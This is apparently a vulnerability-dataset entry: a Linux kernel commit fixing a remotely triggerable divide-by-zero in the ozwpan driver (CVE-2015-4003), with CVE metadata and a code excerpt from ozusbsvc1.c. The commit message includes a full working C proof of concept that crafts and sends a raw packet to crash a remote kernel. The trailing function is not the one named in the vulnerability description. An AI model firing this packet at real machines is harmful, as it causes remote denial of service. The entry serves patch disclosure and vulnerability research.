Commit message: ozwpan: divide-by-zero leading to panic

A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed)
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CVE: CVE-2015-4003
CWE: CWE-189
Vulnerability description: The oz_usb_handle_ep_data function in drivers/staging/ozwpan/ozusbsvc1.c in the OZWPAN driver in the Linux kernel through 4.0.5 allows remote attackers to cause a denial of service (divide-by-zero error and system crash) via a crafted packet.

Project: linux
File: ozusbsvc1.c

static int oz_usb_vendor_class_req(void *hpd, u8 req_id, u8 req_type,
	u8 request, __le16 value, __le16 index, const u8 *data, int data_len)
{
	struct oz_usb_ctx *usb_ctx = hpd;
	struct oz_pd *pd = usb_ctx->pd;
	struct oz_elt *elt;
	struct oz_elt_buf *eb = &pd->elt_buff;
	struct oz_elt_info *ei = oz_elt_info_alloc(&pd->elt_buff);
	struct oz_vendor_class_req *body;

	if (ei == NULL)
		return -1;
	elt = (struct oz_elt *)ei->data;
	elt->length = sizeof(struct oz_vendor_class_req) - 1 + data_len;
	body = (struct oz_vendor_class_req *)(elt+1);
	body->type = OZ_VENDOR_CLASS_REQ;
	body->req_id = req_id;
	body->req_type = req_type;
	body->request = request;
	put_unaligned(value, &body->value);
	put_unaligned(index, &body->index);
	if (data_len)
		memcpy(body->data, data, data_len);
	return oz_usb_submit_elt(eb, ei, usb_ctx, 0, 0);
}